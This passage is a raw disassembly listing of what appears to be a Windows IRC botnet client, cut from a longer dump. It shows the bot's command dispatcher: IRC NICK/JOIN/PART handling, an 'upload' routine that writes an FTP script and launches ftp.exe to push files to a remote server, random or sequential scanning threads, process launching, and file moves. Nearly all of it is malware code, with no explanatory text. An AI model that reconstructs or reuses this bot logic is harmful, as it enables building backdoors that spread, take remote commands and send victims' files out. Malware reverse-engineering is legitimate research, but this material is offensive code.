[ebp+arg_C] lea eax, [ebp+var_2C8] push offset unk_439B8C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 20h loc_406011: ; CODE XREF: sub_401C87+4326j cmp [ebp+arg_C], ebx jnz short loc_406030 loc_406016: ; CODE XREF: sub_401C87+434Dj push ebx push [ebp+var_4] push offset unk_439BC0 loc_40601F: ; CODE XREF: sub_401C87+4358j push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_406030: ; CODE XREF: sub_401C87+438Dj mov edi, [ebp+arg_20] loc_406033: ; CODE XREF: sub_401C87+4271j ; sub_401C87+4478j mov esi, [ebp+esi+var_80] cmp esi, ebx jz loc_40622C push edi push offset aUpload ; "upload" call sub_418A30 pop ecx test eax, eax pop ecx jnz loc_40743C push 4 push esi call sub_41114F pop ecx test eax, eax pop ecx jnz loc_406104 push esi push offset unk_439BFC loc_40606C: ; CODE XREF: sub_401C87+3A48j lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 0Ch loc_40607B: ; CODE XREF: sub_401C87+3A60j ; sub_401C87+5747j cmp [ebp+var_8], ebx jnz short loc_40609C push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_40609C: ; CODE XREF: sub_401C87+21D9j ; sub_401C87+21EEj ... lea eax, [ebp+var_2C8] push eax call sub_40F927 jmp loc_402219 ; --------------------------------------------------------------------------- loc_4060AD: ; CODE XREF: sub_401C87+405Ej ; sub_401C87+4073j push 0Bh call sub_4098A5 push [ebp+arg_0] mov [ebp+arg_8], eax call sub_417960 add eax, [ebp+arg_8] pop ecx pop ecx cmp eax, 1F4h jle loc_406234 push [ebp+arg_8] lea eax, [ebp+var_2C8] push offset unk_439C1C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 20h jmp loc_406033 ; --------------------------------------------------------------------------- loc_406104: ; CODE XREF: sub_401C87+43D9j call dword_4E036C ; GetTickCount push eax call sub_417DB0 pop ecx call sub_417DC0 push 9 cdq pop ecx idiv ecx push edx call sub_417DC0 push 63h cdq pop ecx idiv ecx push edx call sub_417DC0 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_1E20] push edx push eax lea eax, [ebp+var_1514] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_417CB0 lea eax, [ebp+var_1514] push offset aAb ; "ab" push eax call sub_4176E0 mov edi, eax add esp, 20h cmp edi, ebx jz loc_40622C push esi push [ebp+arg_1C] push [ebp+arg_18] push [ebp+arg_0] push [ebp+arg_10] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push edi call sub_4185F0 push edi call sub_414F40 lea eax, [ebp+var_1514] push eax lea eax, [ebp+var_ACC] push offset aSS_0 ; "-s:%s" push eax call sub_417CB0 add esp, 2Ch lea eax, [ebp+var_ACC] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen_1 ; "open" push ebx call dword_4D65D4 ; ShellExecuteA push [ebp+arg_10] test eax, eax push esi jz short loc_4061CF push offset unk_439CAC jmp short loc_4061D4 ; --------------------------------------------------------------------------- loc_4061CF: ; CODE XREF: sub_401C87+453Fj push offset unk_439CD4 loc_4061D4: ; CODE XREF: sub_401C87+4546j call sub_417CB0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4061FD push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A add esp, 14h loc_4061FD: ; CODE XREF: sub_401C87+4558j lea eax, [ebp+var_2C8] push eax call sub_40F927 jmp short loc_406217 ; --------------------------------------------------------------------------- loc_40620B: ; CODE XREF: sub_401C87+45A3j lea eax, [ebp+var_1514] push eax call sub_418580 loc_406217: ; CODE XREF: sub_401C87+4582j lea eax, [ebp+var_1514] push 4 push eax call sub_41114F add esp, 0Ch test eax, eax jnz short loc_40620B loc_40622C: ; CODE XREF: sub_401C87+5Bj ; sub_401C87+392j ... xor eax, eax inc eax jmp loc_4075FF ; --------------------------------------------------------------------------- loc_406234: ; CODE XREF: sub_401C87+4442j push [ebp+arg_10] call sub_417960 push [ebp+arg_0] mov [ebp+var_474], eax call sub_417960 push [ebp+arg_18] mov [ebp+var_45C], eax call sub_417960 add esp, 0Ch cmp eax, 5 mov [ebp+var_470], eax jnb short loc_40626F push 5 pop eax mov [ebp+var_470], eax loc_40626F: ; CODE XREF: sub_401C87+45DDj push 3Ch pop ecx cmp eax, ecx jbe short loc_40627C mov [ebp+var_470], ecx loc_40627C: ; CODE XREF: sub_401C87+45EDj push [ebp+arg_1C] call sub_417960 mov [ebp+var_46C], eax mov eax, 320h cmp [ebp+var_46C], eax pop ecx jbe short loc_40629E mov [ebp+var_46C], eax loc_40629E: ; CODE XREF: sub_401C87+460Fj or [ebp+var_458], 0FFFFFFFFh cmp dword_43F068, ebx mov [ebp+arg_8], ebx jz short loc_4062ED mov edi, offset dword_43F068 loc_4062B5: ; CODE XREF: sub_401C87+4648j push [ebp+arg_10] lea eax, [edi-28h] push eax call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_4062D3 inc [ebp+arg_8] add edi, 40h cmp [edi], ebx jnz short loc_4062B5 jmp short loc_4062ED ; --------------------------------------------------------------------------- loc_4062D3: ; CODE XREF: sub_401C87+463Ej mov eax, [ebp+arg_8] mov ecx, eax mov [ebp+var_458], eax shl ecx, 6 mov ecx, dword_43F068[ecx] mov [ebp+var_474], ecx loc_4062ED: ; CODE XREF: sub_401C87+4627j ; sub_401C87+464Aj cmp [ebp+var_474], ebx jnz short loc_4062FF push offset unk_439D04 jmp loc_403894 ; --------------------------------------------------------------------------- loc_4062FF: ; CODE XREF: sub_401C87+466Cj mov edi, [ebp+esi+var_80] cmp edi, ebx mov [ebp+arg_18], edi jz short loc_40633A cmp byte ptr [edi], 23h jz short loc_40633A push edi lea eax, [ebp+var_588] push 10h push eax call sub_417E80 push 78h push edi call sub_418970 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_448], eax jmp loc_40640E ; --------------------------------------------------------------------------- loc_40633A: ; CODE XREF: sub_401C87+4681j ; sub_401C87+4686j cmp [ebp+var_96B], bl jnz short loc_40635C cmp [ebp+var_96A], bl jnz short loc_40635C cmp [ebp+var_95A], bl jnz short loc_40635C push offset unk_439D38 jmp loc_403894 ; --------------------------------------------------------------------------- loc_40635C: ; CODE XREF: sub_401C87+46B9j ; sub_401C87+46C1j ... push 10h lea eax, [ebp+arg_0] pop edi push eax lea eax, [ebp+var_2D8] push eax mov [ebp+arg_0], edi push [ebp+arg_4] call dword_4D660C ; getsockname mov al, [ebp+var_96B] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2D4], eax push [ebp+var_2D4] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_588] push eax call sub_417760 add esp, 0Ch cmp [ebp+var_95A], bl jz short loc_406408 xor eax, eax cmp [ebp+var_96B], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_588] push eax call sub_418800 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_4063FC loc_4063DA: ; CODE XREF: sub_401C87+4773j cmp eax, ebx jz short loc_4063FC mov byte ptr [eax], 78h lea eax, [ebp+var_588] push 30h push eax call sub_418800 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_4063DA loc_4063FC: ; CODE XREF: sub_401C87+4751j ; sub_401C87+4755j mov [ebp+var_448], 1 jmp short loc_40640E ; --------------------------------------------------------------------------- loc_406408: ; CODE XREF: sub_401C87+472Bj mov [ebp+var_448], ebx loc_40640E: ; CODE XREF: sub_401C87+46AEj ; sub_401C87+477Fj mov eax, [ebp+arg_4] push [ebp+var_8C] mov [ebp+var_478], eax mov eax, [ebp+var_4] mov [ebp+var_450], eax mov eax, [ebp+var_8] mov [ebp+var_44C], eax mov edi, 80h lea eax, [ebp+var_578] push edi push eax call sub_417E80 mov esi, [ebp+esi+var_7C] add esp, 0Ch cmp esi, ebx jz short loc_40645F loc_40644C: ; CODE XREF: sub_401C87+47FBj push esi loc_40644D: ; CODE XREF: sub_401C87+47E5j lea eax, [ebp+var_4F8] push edi push eax call sub_417E80 add esp, 0Ch jmp short loc_40648A ; --------------------------------------------------------------------------- loc_40645F: ; CODE XREF: sub_401C87+47C3j mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_40646E cmp byte ptr [eax], 23h jnz short loc_40646E push eax jmp short loc_40644D ; --------------------------------------------------------------------------- loc_40646E: ; CODE XREF: sub_401C87+47DDj ; sub_401C87+47E2j mov esi, offset aXp_0 ; "#xp" push offset word_4D651E push esi call sub_418A30 pop ecx test eax, eax pop ecx jnz short loc_40644C mov [ebp+var_4F8], bl loc_40648A: ; CODE XREF: sub_401C87+47D6j cmp [ebp+var_448], ebx mov eax, offset aRandom_0 ; "Random" jnz short loc_40649C mov eax, offset aSequential_0 ; "Sequential" loc_40649C: ; CODE XREF: sub_401C87+480Ej push [ebp+var_45C] lea ecx, [ebp+var_588] push [ebp+var_46C] push [ebp+var_470] push [ebp+var_474] push ecx push eax lea eax, [ebp+var_2C8] push offset unk_439D80 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 0Bh push eax call sub_409663 add esp, 2Ch mov [ebp+var_468], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_588] push ebx push eax push offset sub_40AA63 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_468] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406561 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439DE8 loc_406520: ; CODE XREF: sub_401C87+1D21j ; sub_401C87+2883j ... lea eax, [ebp+var_2C8] push eax call sub_417CB0 loc_40652C: ; CODE XREF: sub_401C87+2878j add esp, 0Ch loc_40652F: ; CODE XREF: sub_401C87+1C1Bj ; sub_401C87+1D36j ... cmp [ebp+var_8], ebx jnz loc_40259F push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] loc_40654C: ; CODE XREF: sub_401C87+1EBEj call sub_40764A add esp, 14h jmp loc_40259F ; --------------------------------------------------------------------------- loc_406559: ; CODE XREF: sub_401C87+48E0j push 32h call dword_4E033C ; Sleep loc_406561: ; CODE XREF: sub_401C87+488Bj cmp [ebp+var_444], ebx jz short loc_406559 jmp short loc_40652F ; --------------------------------------------------------------------------- loc_40656B: ; CODE XREF: sub_401C87+4034j ; sub_401C87+4049j push [ebp+arg_10] call sub_408766 push [ebp+arg_0] mov [ebp+var_5A0], eax call sub_417960 push [ebp+arg_18] mov [ebp+var_5B0], eax call sub_417960 push [ebp+arg_1C] mov [ebp+var_5AC], eax call sub_417960 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_5A8], eax lea eax, [ebp+var_630] mov [ebp+var_634], esi push eax call sub_417760 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_598], edi push [ebp+var_5AC] mov [ebp+var_594], eax push [ebp+var_5B0] push [ebp+var_5A8] push [ebp+var_5A0] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_2C8] push offset unk_439E20 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 0Bh push eax call sub_409663 add esp, 24h mov [ebp+var_5A4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_634] push ebx push eax push offset sub_40AE78 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_5A4] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406665 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439E70 jmp loc_403B1D ; --------------------------------------------------------------------------- loc_40665D: ; CODE XREF: sub_401C87+49E4j push 32h call dword_4E033C ; Sleep loc_406665: ; CODE XREF: sub_401C87+49C3j cmp [ebp+var_590], ebx jz short loc_40665D jmp loc_403B2C ; --------------------------------------------------------------------------- loc_406672: ; CODE XREF: sub_401C87+3FF8j ; sub_401C87+400Dj push [ebp+arg_10] call sub_417960 imul eax, 234h pop ecx cmp byte_4495B8[eax], bl jz loc_40743C cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_0] call sub_414EC0 push [ebp+arg_10] mov esi, eax call sub_414EC0 push edi add esi, eax call sub_414EC0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417E00 mov esi, eax lea eax, [ebp+var_2C8] push esi push offset dword_439EAC push eax call sub_417CB0 add esp, 20h cmp esi, ebx jz loc_40743C mov edi, [ebp+arg_10] push edi call sub_417960 test eax, eax pop ecx jle loc_40743C push edi call sub_417960 cmp eax, 400h pop ecx jge loc_40743C push ebx lea eax, [ebp+var_2C8] push ebx push eax push [ebp+arg_0] push edi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_40764A push edi call sub_417960 imul eax, 234h add esp, 18h cmp byte ptr dword_4493A0[eax], 73h jnz loc_40743C push esi push edi call sub_417960 imul eax, 234h pop ecx add eax, offset byte_4495B8 push eax push [ebp+arg_0] push offset dword_439EB8 loc_40675F: ; CODE XREF: sub_401C87+4BD7j lea eax, [ebp+var_2C8] push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40764A jmp loc_403D26 ; --------------------------------------------------------------------------- loc_406789: ; CODE XREF: sub_401C87+3FCEj ; sub_401C87+3FE3j push [ebp+arg_10] call sub_417960 imul eax, 234h pop ecx cmp byte_4495B8[eax], bl jz loc_40743C cmp [ebp+var_C], ebx jz loc_40743C push [ebp+arg_0] call sub_414EC0 push [ebp+arg_10] mov esi, eax call sub_414EC0 push edi add esi, eax call sub_414EC0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_417E00 mov esi, eax add esp, 14h cmp esi, ebx jz loc_40743C mov edi, [ebp+arg_10] push edi call sub_417960 test eax, eax pop ecx jle loc_40743C push edi call sub_417960 cmp eax, 400h pop ecx jge loc_40743C push ebx push ebx push esi push [ebp+arg_0] push edi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_40764A push edi call sub_417960 imul eax, 234h add esp, 18h cmp byte ptr dword_4493A0[eax], 73h jnz loc_40743C push esi push edi call sub_417960 imul eax, 234h pop ecx add eax, offset byte_4495B8 push eax push [ebp+arg_0] push offset dword_439EC8 jmp loc_40675F ; --------------------------------------------------------------------------- loc_406863: ; CODE XREF: sub_401C87+3FA4j ; sub_401C87+3FB9j push [ebp+arg_10] call dword_4D66A8 ; inet_addr push [ebp+arg_0] mov [ebp+var_64C], eax call sub_417960 push [ebp+arg_18] mov [ebp+var_65C], eax call sub_417960 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_654], eax lea eax, [ebp+var_6DC] mov [ebp+var_6E0], esi push eax call sub_417760 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_644], edi push [ebp+var_654] mov [ebp+var_640], eax push [ebp+var_65C] push [ebp+var_64C] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_2C8] push offset unk_439ED8 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 0Bh push eax call sub_409663 add esp, 20h mov [ebp+var_650], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_6E0] push ebx push eax push offset sub_40AD87 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_650] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_40694A call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439F14 jmp loc_403B1D ; --------------------------------------------------------------------------- loc_406942: ; CODE XREF: sub_401C87+4CC9j push 32h call dword_4E033C ; Sleep loc_40694A: ; CODE XREF: sub_401C87+4CA8j cmp [ebp+var_63C], ebx jz short loc_406942 jmp loc_403B2C ; --------------------------------------------------------------------------- loc_406957: ; CODE XREF: sub_401C87+3F7Aj ; sub_401C87+3F8Fj push [ebp+arg_10] call sub_417960 push 7Fh mov [ebp+var_11D8], eax push [ebp+arg_0] lea eax, [ebp+var_12DC] push eax call sub_417760 push [ebp+arg_18] call sub_417960 push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_11DC], eax lea eax, [ebp+var_125C] push 80h push eax mov [ebp+var_12E4], esi call sub_417E80 mov eax, [ebp+var_8] add esp, 20h mov edi, [ebp+var_4] mov [ebp+var_11C8], eax push [ebp+var_11DC] lea eax, [ebp+var_12DC] mov [ebp+var_11CC], edi push eax push [ebp+var_11D8] push esi call sub_408882 pop ecx push eax lea eax, [ebp+var_2C8] push offset unk_439F4C push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 18h push eax call sub_409663 add esp, 24h mov [ebp+var_11D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_12E4] push ebx push eax push offset sub_40EAC5 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_11D4] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406A45 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439F88 jmp loc_403B1D ; --------------------------------------------------------------------------- loc_406A3D: ; CODE XREF: sub_401C87+4DC4j push 32h call dword_4E033C ; Sleep loc_406A45: ; CODE XREF: sub_401C87+4DA3j cmp [ebp+var_11C4], ebx jz short loc_406A3D jmp loc_403B2C ; --------------------------------------------------------------------------- loc_406A52: ; CODE XREF: sub_401C87+3F50j ; sub_401C87+3F65j mov edi, 0FFh lea eax, [ebp+var_F38] push edi push [ebp+arg_10] push eax call sub_417760 push edi lea eax, [ebp+var_E38] push [ebp+arg_0] push eax call sub_417760 push [ebp+arg_18] mov [ebp+var_D34], ebx call sub_417960 mov [ebp+var_D30], eax mov eax, [ebp+esi+var_84] add esp, 1Ch cmp eax, ebx jz short loc_406AAD push 10h push ebx push eax call sub_418560 add esp, 0Ch mov [ebp+var_D28], eax jmp short loc_406AB3 ; --------------------------------------------------------------------------- loc_406AAD: ; CODE XREF: sub_401C87+4E10j mov [ebp+var_D28], ebx loc_406AB3: ; CODE XREF: sub_401C87+4E24j mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_406ACA push esi call sub_417960 pop ecx mov [ebp+var_D2C], eax jmp short loc_406AD0 ; --------------------------------------------------------------------------- loc_406ACA: ; CODE XREF: sub_401C87+4E32j mov [ebp+var_D2C], ebx loc_406AD0: ; CODE XREF: sub_401C87+4E41j movzx eax, [ebp+var_967] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_D24], eax lea eax, [ebp+var_FB8] mov [ebp+var_FBC], esi push eax call sub_417760 push [ebp+arg_0] mov eax, [ebp+var_8] mov edi, [ebp+var_4] mov [ebp+var_D20], eax push [ebp+arg_10] lea eax, [ebp+var_2C8] mov [ebp+var_D1C], edi push offset unk_439FCC push eax call sub_417CB0 push esi lea eax, [ebp+var_2C8] push 1Dh push eax call sub_409663 add esp, 28h mov [ebp+var_D38], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FBC] push ebx push eax push offset sub_410C53 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_D38] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406B83 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_439FF8 jmp loc_403B1D ; --------------------------------------------------------------------------- loc_406B7B: ; CODE XREF: sub_401C87+4F02j push 32h call dword_4E033C ; Sleep loc_406B83: ; CODE XREF: sub_401C87+4EE1j cmp [ebp+var_D18], ebx jz short loc_406B7B jmp loc_403B2C ; --------------------------------------------------------------------------- loc_406B90: ; CODE XREF: sub_401C87+3F26j ; sub_401C87+3F3Bj push 7Fh lea eax, [ebp+var_1918] push [ebp+arg_10] push eax call sub_417760 push [ebp+arg_0] call sub_417960 push 3Fh mov [ebp+var_17C8], eax push [ebp+arg_18] lea eax, [ebp+var_1898] push eax call sub_417760 mov esi, [ebp+esi+var_84] add esp, 1Ch cmp esi, ebx jz short loc_406BE0 push 3Fh lea eax, [ebp+var_1858] push esi push eax call sub_417760 add esp, 0Ch loc_406BE0: ; CODE XREF: sub_401C87+4F45j lea eax, [ebp+var_1898] mov [ebp+var_17C4], 1 push eax lea eax, [ebp+var_1918] push [ebp+var_17C8] push eax lea eax, [ebp+var_2C8] push offset dword_43A038 push eax call sub_417CB0 push ebx lea eax, [ebp+var_2C8] push 1Fh push eax call sub_409663 add esp, 20h mov [ebp+var_17C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_191C] push ebx push eax push offset sub_4019A5 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_17C0] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406C6F call dword_4E0350 ; RtlGetLastWin32Error push eax push offset dword_43A068 jmp loc_405E91 ; --------------------------------------------------------------------------- loc_406C67: ; CODE XREF: sub_401C87+4FEEj push 32h call dword_4E033C ; Sleep loc_406C6F: ; CODE XREF: sub_401C87+4FCDj cmp [ebp+var_17BC], ebx jz short loc_406C67 jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_406C7C: ; CODE XREF: sub_401C87+3EEAj ; sub_401C87+3EFFj push [ebp+arg_0] push [ebp+arg_10] call dword_4E0374 ; MoveFileA test eax, eax jz short loc_406CAD push [ebp+arg_0] lea eax, [ebp+var_2C8] push [ebp+arg_10] push offset unk_43A0A4 push 200h push eax call sub_417E80 jmp loc_403D50 ; --------------------------------------------------------------------------- loc_406CAD: ; CODE XREF: sub_401C87+5003j push offset dword_43A0C8 call sub_411B50 push eax lea eax, [ebp+var_2C8] push 200h push eax call sub_417E80 add esp, 10h jmp loc_40652F ; --------------------------------------------------------------------------- loc_406CD1: ; CODE XREF: sub_401C87+3EC0j ; sub_401C87+3ED5j push [ebp+arg_10] lea eax, [ebp+var_172C] push 104h push eax call sub_417E80 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_406D0D push [ebp+arg_0] push [ebp+var_C] call sub_417E00 pop ecx cmp eax, ebx pop ecx jz short loc_406D0D push eax lea eax, [ebp+var_1628] push eax call sub_417CB0 pop ecx pop ecx loc_406D0D: ; CODE XREF: sub_401C87+5064j ; sub_401C87+5075j push [ebp+var_8C] lea eax, [ebp+var_17AC] push 80h push eax call sub_417E80 mov eax, [ebp+arg_4] mov [ebp+var_17B0], eax mov eax, [ebp+var_4] mov [ebp+var_1520], eax mov eax, [ebp+var_8] mov [ebp+var_151C], eax lea eax, [ebp+var_1628] push eax lea eax, [ebp+var_172C] push eax push offset unk_43A0D4 lea eax, [ebp+var_2C8] push 200h push eax call sub_417E80 push ebx lea eax, [ebp+var_2C8] push 24h push eax call sub_409663 add esp, 2Ch mov [ebp+var_1524], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_17B0] push ebx push eax push offset sub_4114F1 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_1524] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406DD2 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_43A104 loc_406DB6: ; CODE XREF: sub_401C87+8F1j ; sub_401C87+A1Cj ... lea eax, [ebp+var_2C8] push eax call sub_417CB0 add esp, 0Ch jmp loc_40259F ; --------------------------------------------------------------------------- loc_406DCA: ; CODE XREF: sub_401C87+5151j push 32h call dword_4E033C ; Sleep loc_406DD2: ; CODE XREF: sub_401C87+5121j cmp [ebp+var_1518], ebx jz short loc_406DCA jmp loc_40259F ; --------------------------------------------------------------------------- loc_406DDF: ; CODE XREF: sub_401C87+3E96j ; sub_401C87+3EABj push 44h lea eax, [ebp+var_870] pop esi push esi push ebx push eax call sub_417700 push [ebp+arg_10] xor edi, edi inc edi mov [ebp+var_870], esi mov [ebp+var_844], edi mov [ebp+var_840], bx call sub_417960 add esp, 10h cmp eax, edi jnz short loc_406E1E mov [ebp+var_840], 5 loc_406E1E: ; CODE XREF: sub_401C87+518Cj cmp [ebp+var_C], ebx jz loc_405EA0 push [ebp+arg_0] push [ebp+var_C] call sub_417E00 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_405EA0 lea eax, [ebp+var_8C0] push eax lea eax, [ebp+var_870] push eax push ebx push ebx push 28h push edi push ebx push ebx push esi push ebx call dword_4E0330 ; CreateProcessA test eax, eax lea eax, [ebp+var_2C8] jnz short loc_406E6F push offset unk_43A140 jmp loc_406FFC ; --------------------------------------------------------------------------- loc_406E6F: ; CODE XREF: sub_401C87+51DCj push esi push offset dword_43A164 jmp loc_405E97 ; --------------------------------------------------------------------------- loc_406E7A: ; CODE XREF: sub_401C87+3E6Cj ; sub_401C87+3E81j push [ebp+arg_0] push offset aJav0 ; "Jav0" call sub_418A30 pop ecx test eax, eax pop ecx jz loc_406FF1 lea eax, [ebp+var_AD0] push eax push 104h call dword_4E0370 ; GetTempPathA push 0FFh lea eax, [ebp+var_F38] push [ebp+arg_10] push eax call sub_417760 lea eax, [ebp+var_8CC] push eax call sub_409047 push eax lea eax, [ebp+var_AD0] push eax lea eax, [ebp+var_E38] push offset dword_43A180 push eax call sub_417CB0 mov eax, [ebp+esi+var_88] add esp, 20h cmp eax, ebx mov [ebp+var_D34], 1 mov [ebp+var_D30], ebx jz short loc_406F0E push 10h push ebx push eax call sub_418560 add esp, 0Ch mov [ebp+var_D28], eax jmp short loc_406F14 ; --------------------------------------------------------------------------- loc_406F0E: ; CODE XREF: sub_401C87+5271j mov [ebp+var_D28], ebx loc_406F14: ; CODE XREF: sub_401C87+5285j mov esi, [ebp+esi+var_84] cmp esi, ebx jz short loc_406F2E push esi call sub_417960 pop ecx mov [ebp+var_D2C], eax jmp short loc_406F34 ; --------------------------------------------------------------------------- loc_406F2E: ; CODE XREF: sub_401C87+5296j mov [ebp+var_D2C], ebx loc_406F34: ; CODE XREF: sub_401C87+52A5j movzx eax, [ebp+var_967] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_8C] mov [ebp+var_D24], eax lea eax, [ebp+var_FB8] mov [ebp+var_FBC], esi push eax call sub_417760 mov eax, [ebp+var_4] push [ebp+arg_10] mov [ebp+var_D1C], eax mov eax, [ebp+var_8] mov [ebp+var_D20], eax lea eax, [ebp+var_2C8] push offset dword_43A18C push eax call sub_417CB0 push esi lea eax, [ebp+var_2C8] push 1Eh push eax call sub_409663 add esp, 24h mov [ebp+var_D38], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_FBC] push ebx push eax push offset sub_410C53 push ebx push ebx call dword_4E0340 ; CreateThread mov ecx, [ebp+var_D38] imul ecx, 234h cmp eax, ebx mov dword_4495B4[ecx], eax jnz short loc_406FE4 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset dword_43A1B8 jmp loc_405E91 ; --------------------------------------------------------------------------- loc_406FDC: ; CODE XREF: sub_401C87+5363j push 32h call dword_4E033C ; Sleep loc_406FE4: ; CODE XREF: sub_401C87+5342j cmp [ebp+var_D18], ebx jz short loc_406FDC jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_406FF1: ; CODE XREF: sub_401C87+5204j push offset dword_43A1F8 loc_406FF6: ; CODE XREF: sub_401C87+2823j ; sub_401C87+2DE6j ... lea eax, [ebp+var_2C8] loc_406FFC: ; CODE XREF: sub_401C87+2E6Ej ; sub_401C87+2E78j ... push eax call sub_417CB0 pop ecx pop ecx jmp loc_405EA0 ; --------------------------------------------------------------------------- loc_407009: ; CODE XREF: sub_401C87+3E42j ; sub_401C87+3E57j push [ebp+arg_0] lea eax, [ebp+var_2C8] push offset aPartS ; "PART %s" push eax call sub_417CB0 push [ebp+arg_10] call sub_417960 add esp, 10h test eax, eax jle loc_40743C push [ebp+arg_10] call sub_417960 cmp eax, 400h pop ecx jge loc_40743C lea eax, [ebp+var_2C8] push eax push offset aS_26 ; "%s\r\n" loc_407050: ; CODE XREF: sub_401C87+3973j ; sub_401C87+5436j push [ebp+arg_10] call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_407604 jmp loc_40426B ; --------------------------------------------------------------------------- loc_40706F: ; CODE XREF: sub_401C87+3E18j ; sub_401C87+3E2Dj push [ebp+esi+var_88] lea eax, [ebp+var_2C8] push [ebp+arg_0] push offset aJoinSS_2 ; "JOIN %s %s" push eax call sub_417CB0 push [ebp+arg_10] call sub_417960 add esp, 14h test eax, eax jle loc_40743C push [ebp+arg_10] call sub_417960 cmp eax, 400h pop ecx jge loc_40743C lea eax, [ebp+var_2C8] push eax push offset aS_27 ; "%s\r\n" jmp short loc_407050 ; --------------------------------------------------------------------------- loc_4070BF: ; CODE XREF: sub_401C87+3DEEj ; sub_401C87+3E03j push [ebp+arg_0] lea eax, [ebp+var_2C8] push offset aNickS_2 ; "NICK %s" push eax call sub_417CB0 mov esi, [ebp+arg_10] push esi call sub_417960 add esp, 10h test eax, eax jle loc_40743C push esi call sub_417960 cmp eax, 400h pop ecx jge loc_40743C lea eax, [ebp+var_2C8] push eax push offset aS_28 ; "%s\r\n" push esi call sub_417960 imul eax, 234h pop ecx push dword_4495AC[eax] call sub_407604 push [ebp+arg_0] push esi push offset dword_43A274 loc_407126: ; CODE XREF: sub_401C87+3688j ; sub_401C87+3B55j ... 